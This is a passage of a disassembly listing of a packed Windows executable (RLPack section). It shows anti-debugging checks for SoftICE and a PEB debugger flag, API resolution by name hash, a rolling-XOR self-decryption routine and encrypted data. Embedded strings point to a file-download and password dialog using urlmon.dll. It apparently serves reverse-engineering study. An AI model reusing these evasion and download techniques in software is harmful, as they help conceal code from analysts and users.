		dec	esi


loc_4FCE73:				; CODE XREF: sub_4FCE12+4Cj
		cmp	esi, 0
		ja	short loc_4FCE60
		cmp	dword ptr [ebp+1436h], 0ABBC680Dh
		jnz	short loc_4FCE9B
		push	dword ptr [ebp+1436h]
		push	dword ptr [ebp+141Ah]
		call	sub_4FD291
		mov	[ebp+1436h], eax


loc_4FCE9B:				; CODE XREF: sub_4FCE12+70j
		cmp	dword ptr [ebp+1442h], 0EA3AF0D7h
		jnz	short loc_4FCEBE
		push	dword ptr [ebp+1442h]
		push	dword ptr [ebp+141Ah]
		call	sub_4FD291
		mov	[ebp+1442h], eax


loc_4FCEBE:				; CODE XREF: sub_4FCE12+93j
		lea	ebx, [ebp+195Fh]
		push	ebx
		call	dword ptr [ebp+3F2h]
		push	dword ptr [ebp+1982h]
		push	eax
		call	sub_4FD291
		mov	[ebp+1982h], eax
		lea	ebx, [ebp+1A00h]
		lea	eax, [ebp+1A04h]
		mov	[ebx], eax
		lea	ebx, [ebp+1A04h]
		lea	eax, [ebp+1A2Eh]
		mov	[ebx], eax
		lea	ebx, [ebp+1A08h]
		lea	eax, [ebp+1A28h]
		mov	[ebx], eax
		lea	ebx, [ebp+1A0Ch]
		lea	eax, [ebp+1A28h]
		mov	[ebx], eax
		lea	ebx, [ebp+1A10h]
		lea	eax, [ebp+1A2Eh]
		mov	[ebx], eax
		lea	ebx, [ebp+1A1Ch]
		lea	eax, [ebp+1A31h]
		mov	[ebx], eax
		lea	ebx, [ebp+1A20h]
		lea	eax, [ebp+1A2Eh]
		mov	[ebx], eax
		lea	ebx, [ebp+1A24h]
		lea	eax, [ebp+1A2Eh]
		mov	[ebx], eax
		lea	ebx, [ebp+887h]
		mov	[ebx], ebp
		lea	ebx, [ebp+940h]
		mov	[ebx], ebp
		lea	ebx, [ebp+1A33h]
		mov	[ebx], ebp


loc_4FCF65:				; CODE XREF: sub_4FCE12+Bj
		popa
		retn
sub_4FCE12	endp

; ---------------------------------------------------------------------------
		db 60h
		dd 195BBD83h, 75000000h, 9D8D6048h, 1446h, 695FF53h, 0B000004h
		dd 8D0D75C0h, 14469Dh, 95FF5300h, 3F2h,	141A8589h, 406A0000h
		dd 100068h, 12858B00h, 6B000014h, 0C08316C0h, 6A5064h
		dd 3FA95FFh, 85890000h,	195Bh, 3FBD8B61h, 3B00001Fh, 1416BDh
		dd 3B087400h, 141ABDh, 8B597500h, 8B310FF8h, 195B9Dh, 9303C600h
		dd 680143C6h, 0D033F833h, 307C2C1h, 27B89FAh, 810643C6h
		dd 2C0743C6h, 240843C6h, 0C6095389h, 0C6930D43h, 0C6810E43h
		dd 0C6340F43h, 89241043h, 43C61143h, 0C383C315h, 5B9D8916h
		dd 61000019h, 195B858Bh, 0E8830000h, 2EBC316h, 0E860C361h
		dd 1BCh, 179E8h, 21BE800h, 85890000h, 1416h, 17A39D8Dh
		dd 4BE0000h, 0EB000000h, 0FF33FF13h, 1416B5h, 237E800h
		dd 3890000h, 4E04C383h,	7700FE83h, 0BB85C7E8h, 94000017h
		dd 8D000000h, 17BB85h, 95FF5000h, 17ABh, 17CBBD83h, 74010000h
		dd 0A3BD8319h, 17h, 95FF1074h, 17A3h, 674C00Bh,	17B38589h
		dd 0BD830000h, 17CBh, 83667502h, 17A7BDh, 27740000h, 17B7858Dh
		dd 6A500000h, 0A795FFFFh, 8B000017h, 17A785h, 8B388100h
		dd 75082444h, 0B785C70Ah, 1000017h, 64000000h, 30A1h, 68C08300h
		dd 0F883008Bh, 0C70A7570h, 17B385h, 100h, 18A16400h, 8B000000h
		dd 408B3040h, 10788318h, 0C70A7400h, 17B385h, 100h, 9BE00h
		dd 0BD8D0000h, 184Fh, 8068006Ah, 6A000000h, 6A006A03h
		dd 6801h, 0FF578000h, 17AF95h, 0FFF88300h, 85C70A74h, 17B3h
		dd 1, 3F8047h, 4E47FA75h, 0C361CE75h, 0B3BD8360h, 1000017h
		dd 0BD830974h, 17B7h, 8D4D7501h, 14469Dh, 95FF5300h, 3F2h
		dd 141A8589h, 0BD810000h, 1436h, 0ABBC680Dh, 0B5FF1275h
		dd 1436h, 107E850h, 85890000h, 1436h, 858D306Ah, 1451h
		dd 0AC858D50h, 50000018h, 95FF006Ah, 1436h, 0C3615861h
		dd 6A60C361h, 695FF00h,	50000004h, 19B28D8Dh, 6A510000h
		dd 2006840h, 0FF500000h, 40295h, 888D5800h, 200h, 3C408B66h
		dd 14400366h, 5EBC82Bh,	104C6h,	0F98349h, 0C361F677h, 30A16460h
		dd 85000000h, 8B0F78C0h, 408B0C40h, 2040810Ch, 3000h, 6A1CEBh
		dd 40695FFh, 0D2850000h, 7A831079h, 0A75FF08h, 8104528Bh
		dd 30005042h, 0C3610000h

; =============== S U B	R O U T	I N E =======================================



sub_4FD224	proc near		; CODE XREF: start+A9p
		pusha
		lea	eax, [ebp-6]
		mov	ecx, 319h
		xor	ebx, ebx
		cdq
		jmp	short loc_4FD23B
; ---------------------------------------------------------------------------


loc_4FD232:				; CODE XREF: sub_4FD224+1Aj
		mov	dl, [eax]
		rol	ebx, 7
		xor	bl, dl
		inc	eax
		dec	ecx


loc_4FD23B:				; CODE XREF: sub_4FD224+Cj
		cmp	ecx, 0
		ja	short loc_4FD232
		lea	eax, [esi+4]
		mov	ecx, [esi]
		jmp	short loc_4FD24E
; ---------------------------------------------------------------------------


loc_4FD247:				; CODE XREF: sub_4FD224+2Dj
		xor	[eax], bl
		rol	ebx, 3
		inc	eax
		dec	ecx


loc_4FD24E:				; CODE XREF: sub_4FD224+21j
		cmp	ecx, 0
		ja	short loc_4FD247
		popa
		retn
sub_4FD224	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FD255	proc near		; CODE XREF: .RLPack:004FC550p
					; .RLPack:004FC5EBp ...

var_4		= dword	ptr -4

		pusha
		xor	edx, edx
		mov	esi, fs:[edx]


loc_4FD25B:				; CODE XREF: sub_4FD255+Ej
		lodsd
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4FD265
		mov	esi, eax
		jmp	short loc_4FD25B
; ---------------------------------------------------------------------------


loc_4FD265:				; CODE XREF: sub_4FD255+Aj
		mov	edi, [esi+4]
		and	edi, 0FFFF0000h


loc_4FD26E:				; CODE XREF: sub_4FD255+26j
					; sub_4FD255+34j
		cmp	word ptr [edi],	5A4Dh
		jz	short loc_4FD27D
		sub	edi, 10000h
		jmp	short loc_4FD26E
; ---------------------------------------------------------------------------


loc_4FD27D:				; CODE XREF: sub_4FD255+1Ej
		mov	ebx, edi
		add	ebx, [ebx+3Ch]
		cmp	word ptr [ebx],	4550h
		jz	short loc_4FD28B
		jmp	short loc_4FD26E
; ---------------------------------------------------------------------------


loc_4FD28B:				; CODE XREF: sub_4FD255+32j
		mov	[esp+20h+var_4], edi
		popa
		retn
sub_4FD255	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FD291	proc near		; CODE XREF: start+4F1p start+510p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebx, [esp+20h+arg_0]
		mov	ecx, ebx
		add	ebx, [ebx+3Ch]
		mov	ebx, [ebx+78h]
		add	ebx, ecx
		mov	edi, [ebx+20h]
		add	edi, ecx
		xor	esi, esi


loc_4FD2A7:				; CODE XREF: sub_4FD291+34j
		lea	edx, [edi+esi*4]
		mov	edx, [edx]
		add	edx, ecx
		xor	eax, eax


loc_4FD2B0:				; CODE XREF: sub_4FD291+28j
		rol	eax, 7
		xor	al, [edx]
		inc	edx
		cmp	byte ptr [edx],	0
		jnz	short loc_4FD2B0
		cmp	eax, [esp+20h+arg_4]
		jz	short loc_4FD2C7
		inc	esi
		cmp	esi, [ebx+18h]
		jb	short loc_4FD2A7


loc_4FD2C7:				; CODE XREF: sub_4FD291+2Ej
		mov	edx, [ebx+24h]
		add	edx, ecx
		movzx	edx, word ptr [edx+esi*2]
		mov	eax, [ebx+1Ch]
		add	eax, ecx
		mov	eax, [eax+edx*4]
		add	eax, ecx
		mov	[esp+20h+var_4], eax
		popa
		retn	8
sub_4FD291	endp

; ---------------------------------------------------------------------------
		align 8
		dd 40h,	2 dup(0)
		db 2 dup(0)
word_4FD2F6	dw 0			; DATA XREF: .RLPack:004FC524o
		dd 2 dup(0)
		dd 8B0000h, 2 dup(0)
		dd 93E80000h, 0F1147743h, 0E16B08F8h, 0CBF1487Fh, 0B0D5AEF7h
		dd 2B19723Eh, 680D9590h, 969CABBCh, 0C609BF78h,	0F0D7AE52h
		dd 7375EA3Ah, 32337265h, 6C6C642Eh, 72724500h, 3A726Fh
		dd 656C6946h, 6D616420h, 64656761h, 20726F20h, 65666E69h
		dd 64657463h, 20796220h, 75726976h, 43002173h, 646C756Fh
		dd 746F6E20h, 616F6C20h, 73252064h, 6E796420h, 63696D61h
		dd 6E696C20h, 696C206Bh, 72617262h, 43002179h, 646C756Fh
		dd 746F6E20h, 6E696620h, 73252064h, 70786520h, 2074726Fh
		dd 69736E69h, 25206564h, 79642073h, 696D616Eh, 696C2063h
		dd 6C206B6Eh, 61726269h, 217972h, 6C756F43h, 6F6E2064h
		dd 69662074h, 6F20646Eh, 6E696472h, 65206C61h, 726F7078h
		dd 30253A74h, 69205838h, 6469736Eh, 73252065h, 6E796420h
		dd 63696D61h, 6E696C20h, 696C206Bh, 72617262h, 41002179h
		dd 696C7070h, 69746163h, 69206E6Fh, 6C612073h, 64616572h
		dd 75722079h, 6E696E6Eh, 49002167h, 3A6F666Eh, 72615700h
		dd 676E696Eh, 6150203Ah, 6F777373h, 79206472h, 6820756Fh
		dd 20657661h, 65746E65h, 20646572h, 6E207369h, 7620746Fh
		dd 646C6961h, 6F440021h, 756F7920h, 6E617720h, 6F742074h
		dd 6E616320h, 206C6563h, 20656874h, 656C6966h, 776F6420h
		dd 616F6C6Eh, 0A0D3F64h, 6E726157h, 3A676E69h, 70704120h
		dd 6163696Ch, 6E6F6974h, 6E616320h, 746F6E20h, 6E757220h
		dd 74697720h, 74756F68h, 73656E20h, 61736573h, 2E207972h
		dd 206C6C64h, 656C6966h, 43002173h, 646C756Fh, 746F6E20h
		dd 776F6420h, 616F6C6Eh, 656E2064h, 73657373h, 20797261h
		dd 6C6C642Eh, 6C696620h, 29732865h, 63656220h, 65737561h
		dd 0D0A0D3Ah, 2029310Ah, 20756F59h, 20657261h, 20746F6Eh
		dd 6E6E6F63h, 65746365h, 6F742064h, 746E6920h, 656E7265h
		dd 320A0D74h, 69462029h, 6320656Ch, 6E206E61h, 6220746Fh
		dd 6F662065h, 20646E75h, 72206E6Fh, 746F6D65h, 65732065h
		dd 72657672h, 29330A0Dh, 756F5920h, 69662072h, 61776572h
		dd 68206C6Ch, 62207361h, 6B636F6Ch, 61206465h, 73656363h
		dd 6F742073h, 746E6920h, 656E7265h, 0D0A0D74h, 6E69530Ah
		dd 61206563h, 696C7070h, 69746163h, 63206E6Fh, 6E206E61h
		dd 7220746Fh, 77206E75h, 6F687469h, 6E207475h, 65737365h
		dd 79726173h, 6C642E20h, 6966206Ch, 2C73656Ch, 6F727020h
		dd 6D617267h, 6C697720h, 6F6E206Ch, 6C632077h, 2165736Fh
		dd 776F4400h, 616F6C6Eh, 20646564h, 6C6C642Eh, 6C696620h
		dd 73692065h, 726F6320h, 74707572h, 646E6120h, 6E616320h
		dd 746F6E20h, 20656220h, 64616F6Ch, 0D216465h, 656C500Ah
		dd 20657361h, 74736572h, 20747261h, 73696874h, 6C706120h
		dd 74616369h, 206E6F69h, 74206F73h, 66206568h, 20656C69h
		dd 206E6163h, 64206562h, 6C6E776Fh, 6564616Fh, 67612064h
		dd 216E6961h, 0Eh dup(0)
		dd 2000000h, 7295FB6Ah,	246D3A82h, 149C480Eh, 8F8F1h, 26h dup(0)
		dd 5C000000h, 535C2E5Ch, 454349h, 5C2E5C5Ch, 56574953h
		dd 5C004449h, 4E5C2E5Ch, 45434954h, 2E5C5C00h, 4745525Ch
		dd 535953h, 5C2E5C5Ch, 56474552h, 5C004758h, 465C2E5Ch
		dd 56454C49h, 5C004758h, 465C2E5Ch, 4D454C49h, 2E5C5C00h
		dd 5752545Ch, 2E5C5C00h, 4543495Ch, 545845h, 75626544h
		dd 72656767h, 74656420h, 65746365h, 2D202064h, 656C7020h
		dd 20657361h, 736F6C63h, 74692065h, 776F6420h, 6E61206Eh
		dd 65722064h, 72617473h, 0A0D2174h, 646E6957h, 2073776Fh
		dd 7520544Eh, 73726573h, 6C50203Ah, 65736165h, 746F6E20h
		dd 68742065h, 68207461h, 6E697661h, 68742067h, 69572065h
		dd 6563496Eh, 666F532Fh, 65634974h, 65730A0Dh, 63697672h
		dd 6E692065h, 6C617473h, 2064656Ch, 6E61656Dh, 68742073h
		dd 79207461h, 6120756Fh, 72206572h, 696E6E75h, 6120676Eh
		dd 62656420h, 65676775h, 2172h,	75000000h, 6F6D6C72h, 6C642E6Eh
		dd 0A5C1006Ch, 21A8D9E6h, 100A9CD4h, 100A3C29h,	0FC469C29h
		dd 0B1BFD5FFh, 2399F23Eh, 9AF0D95Dh, 2B196FB8h,	9590h
		dd 4 dup(0)
		dd 10000h, 3 dup(0)
		dd 800000h, 56780000h, 1234h, 0
		dd 65570000h, 74695362h, 25203A65h, 6F440073h, 6F6C6E77h
		dd 6E696461h, 25203A67h, 6F430073h, 656C706Dh, 3A646574h
		dd 20642520h, 63726570h, 746E65h, 656C6946h, 6425203Ah
		dd 64252Fh, 406D45h, 406D6Fh, 2	dup(406D69h), 406D6Fh
		dd 2 dup(0)
; ---------------------------------------------------------------------------
		jb	short near ptr byte_4FD97B
		inc	eax
		add	[edi+6Dh], ch
		inc	eax
		add	[edi+6Dh], ch
		inc	eax
		add	dl, al
		add	al, 0
		retn	8
; ---------------------------------------------------------------------------
		retn	0Ch
; ---------------------------------------------------------------------------
		pusha
		mov	esi, offset sub_401000
		mov	edx, [ebp+0Ch]
		mov	ebx, [ebp+10h]
		cmp	edx, 0
		jbe	short loc_4FD945
		cmp	ebx, 0
		jbe	short loc_4FD945
		mov	eax, edx
		cdq
		mov	ecx, 64h
		imul	ecx
		div	ebx
		jmp	short loc_4FD947
; ---------------------------------------------------------------------------


loc_4FD945:				; CODE XREF: .RLPack:004FD930j
					; .RLPack:004FD935j
		xor	eax, eax


loc_4FD947:				; CODE XREF: .RLPack:004FD943j
		lea	ebx, [esi+0C3Bh]
		call	ebx	; WideCharToMultiByte
		popa
		retn	14h
; ---------------------------------------------------------------------------
		align 4
		dd 9 dup(0)
		db 3 dup(0)
byte_4FD97B	db 0			; CODE XREF: .RLPack:004FD90Cj
		dd 75h dup(0)
		dd 2 dup(1000000h), 2000000h, 3000000h,	4000000h, 5000000h
		dd 6000000h, 7000000h, 1000000h, 2000000h, 3000000h, 40000000h
		dd 10CA08h, 7000000h, 0
		dd 4200E000h, 0
		dd 6F004400h, 6E007700h, 6F006C00h, 64006100h, 8000000h
		dd 65005600h, 64007200h, 6E006100h, 6100h, 0FF8B00h, 500200h
		dd 6000000h, 73000400h,	1000C00h, 82FFFF00h, 6F004400h
		dd 6E007700h, 6F006C00h, 64006100h, 6E006900h, 20006700h
		dd 65006E00h, 73007300h, 73006500h, 72006100h, 20007900h
		dd 64002E00h, 6C006C00h, 66002000h, 6C006900h, 73006500h
		dd 0
		dd 7FF8B00h, 500000h, 5000000h,	0D7000F00h, 2003200h, 80FFFF00h
		dd 6F004400h, 6E007700h, 6F006C00h, 64006100h, 70002000h
		dd 6F007200h, 72006700h, 73006500h, 20007300h, 0
		dd 0FF8B00h, 500200h, 17000000h, 0C0001900h, 3000A00h
		dd 82FFFF00h, 65005700h, 53006200h, 74006900h, 3A006500h
		dd 0
		dd 0FF8B00h, 500200h, 8000000h,	0CE002100h, 4000A00h, 82FFFF00h
		dd 6F004400h, 6E007700h, 6F006C00h, 64006100h, 6E006900h
		dd 3A006700h, 0
		dd 0FF8B00h, 500200h, 0E000000h, 55002A00h, 5000900h, 82FFFF00h
		dd 6F004300h, 70006D00h, 65006C00h, 65007400h, 3A006400h
		dd 0
		dd 0FF8B00h, 500200h, 27000000h, 45003200h, 6000900h, 82FFFF00h
		dd 69004600h, 65006C00h, 20003A00h, 0
		dd 0FF8B00h, 500200h, 9D000000h, 3C002F00h, 7000E00h, 80FFFF00h
		dd 61004300h, 63006E00h, 6C006500h, 0
		dd 0FF8B00h, 40000000h,	10CA08h, 4000000h, 0
		dd 2300B400h, 0
		dd 61005000h, 73007300h, 6F007700h, 64007200h, 8000000h
		dd 65005600h, 64007200h, 6E006100h, 6100h, 7FF8B00h, 500000h
		dd 2000000h, 0B0000200h, 1E00h,	80FFFF00h, 6E004500h, 65007400h
		dd 20007200h, 61007000h, 73007300h, 6F007700h, 64007200h
		dd 0
		dd 0FF8B00h, 500200h, 6000000h,	24000E00h, 1000C00h, 82FFFF00h
		dd 61005000h, 73007300h, 6F007700h, 64007200h, 20003A00h
		dd 0
		dd 0A0FF8B00h, 508100h,	29000000h, 5A000D00h, 2000C00h
		dd 81FFFF00h, 0
		dd 0FF8B00h, 500100h, 85000000h, 2A000C00h, 3000E00h, 80FFFF00h
		dd 6E005500h, 6F006C00h, 6B006300h, 0
		dd 0FF8B00h, 3 dup(0)
		db 0, 0E6h, 77h
byte_4FDE33	db 0DBh			; DATA XREF: .RLPack:004FC512o
		db 7, 32h, 0
byte_4FDE37	db 0			; DATA XREF: .RLPack:004FC536o
		dd 3200h, 4DF0h, 85004010h, 4F39h, 0F1004270h, 4F48h, 4290h
		dd 84000000h, 25Eh, 4010h, 0B6000000h, 1Ch, 1004270h, 0E0000000h
		dd 0B3Fh, 1004290h, 18000000h, 0
		dd 1004DD0h, 0FF000000h, 8BFFFFFFh, 0E8000000h,	4D000003h
		dd 2E525007h, 1E6C64h, 5F325357h, 0B50E733h, 7352454Bh
		dd 0D4C534Eh, 71D80106h, 4E0F3A42h, 0DF417465h,	6E6F43C7h
		dd 4C632F1Fh, 0FD320E69h, 31E083C3h, 800E0733h,	0C09910Fh
		dd 73447422h, 120A8915h, 480D2402h, 41BCB301h, 6B636F90h
		dd 0B198DDCh, 991091Fh,	44102204h, 13891703h, 97241212h
		dd 6B30648h, 46C00670h,	8646E69h, 74737218h, 0CC656C0Ah
		dd 45825378h, 20766E34h, 0DE6D810Fh, 61569E3Dh,	6251F37Dh
		dd 6D990118h, 981ABC70h, 6E227453h, 0F575667h, 64C23690h
		dd 448E664Fh, 42734901h, 0FFC95761h, 83C504Dh, 0A0F7520Dh
		dd 4FC30D08h, 0E6686E55h, 0C74CDC54h, 0E5637845h, 69E92670h
		dd 3820FFEFh, 1F4E8447h, 0D5707954h, 0C2A60F57h, 756C4605h
		dd 5E0F6873h, 3B660E42h, 4B18E55Ch, 0AB486440h,	0BE5B434Ch
		dd 72A12B41h, 94DCD19h,	758F020Ah, 1B38CE8Dh, 146042DDh
		dd 0E9175773h, 0FDDFE6A0h, 18902E4Bh, 6BA304E9h, 434C02DAh
		dd 4570614Dh, 6C0D2139h, 656F4866h, 0A87A4A19h,	3E3B521Eh
		dd 42385773h, 0E4F3F91h, 1B50434Dh, 0DBAEFF26h,	733028D2h
		dd 0F16CFE90h, 0BED848A3h, 43E78451h, 41281AB6h, 704D4830h
		dd 0E5327536h, 61514EF6h, 53131097h, 48DF7379h,	49A94414h
		dd 0FD6F3A51h, 3ADAA692h, 543C18C2h, 640FCE68h,	289B440Fh
		dd 24FB1A56h, 6E153E4Fh, 437F986Dh, 4695F975h, 49857F6Eh
		dd 4C140664h, 456DA661h, 1249C2Eh, 32794C70h, 0AA095DB4h
		dd 756234D5h, 2F90249Ah, 46A34613h, 572265C2h, 244AF31Bh
		dd 0B0095392h, 6A624F1Eh, 9B39A5AAh, 7865904Dh,	0C56954C4h
		dd 0A9BA67D1h, 546D4806h, 1D20B887h, 5070DC80h,	546824CDh
		dd 0C376B295h, 385B4CCFh, 7276E6A6h, 848679E4h,	0FD569ABDh
		dd 0B649D34Ah, 2DF2BB6Fh, 63609E23h, 6E4970F0h,	0F52F166h
		dd 0AA5A6A56h, 483F7680h, 0CD6CD07Ah, 0C0A00A4Ch, 0B220DC9Bh
		dd 9ECC535Bh, 91F440DCh, 92B61579h, 7AF61E21h, 41142FAFh
		dd 70517AF4h, 59CC19C0h, 103C1E74h, 0C6457257h,	4536DD4Bh
		dd 888258E8h, 16853B64h, 0E29E7A3h, 4450AF6Ah, 6C703675h
		dd 1199229Bh, 45F2BFCAh, 65691632h, 6D590C22h, 8ADA6F96h
		dd 44F81926h, 0C80FB4A1h, 6B972465h, 77461C12h,	6E5F63E1h
		dd 56669F6Bh, 150E19CDh, 0F464853h, 0CF603745h,	20744D78h
		dd 0B56F50B1h, 48D722Ch, 0FD73E564h, 0F7FF9465h, 13CFB05Ah
		dd 0FB470E29h, 48A3F4DEh, 0B423A510h, 9D3A456Eh, 1853320Bh
		dd 70D1BC52h, 4A755118h, 8CA5079h, 6E42C366h, 0D1EDCC63h
		dd 0D3F418AAh, 266571BAh, 0C48D7912h, 966B2827h, 5796F21Dh
		dd 28119D34h, 6C411C09h, 528ADE74h, 14075055h, 286A5606h
		dd 8A847574h, 9A304267h, 4D1F19ABh, 72352221h, 27928533h
		dd 62310962h, 263FBB4Dh, 0A44C7F67h, 197AD662h,	4C6BB336h
		dd 0BA34C0Dh, 704C2466h, 776525B6h, 4F4D4F31h, 0E607480Eh
		dd 48539231h, 32B56167h, 0C96470Bh, 25709381h, 0A3AB635Eh
		dd 4264BA57h, 0F4AEC325h, 7131B985h, 0A4B87942h, 2A680A57h
		dd 6C0ACE1Fh, 639A3ABCh, 1646CC6Dh, 0D62E1299h,	0C75B7424h
		dd 116B6BAFh, 55326449h, 6726BE90h, 0CA4446D1h,	0D2407668h
		dd 0F2CD09EAh, 7375B401h, 25514923h, 74E14B59h,	6A77FB52h
		dd 148F4529h, 894CA45Ah, 45D24D5h, 726B3DD2h, 6F6124D6h
		dd 0AD2D7096h, 0D654CD35h, 9B70EFD6h, 7ED04ABDh, 7B4C4143h
		dd 556FD244h, 4A590C79h, 0EA55C54Ah, 0A2190C1Dh, 3493BA28h
		dd 17BBA196h, 0C71B8971h, 16411537h, 180Eh
		db 3 dup(0)
_RLPack		ends

; Section 3. (virtual address 000FF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000FE400
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4FF000h
		align 2000h
_idata2		ends


		end start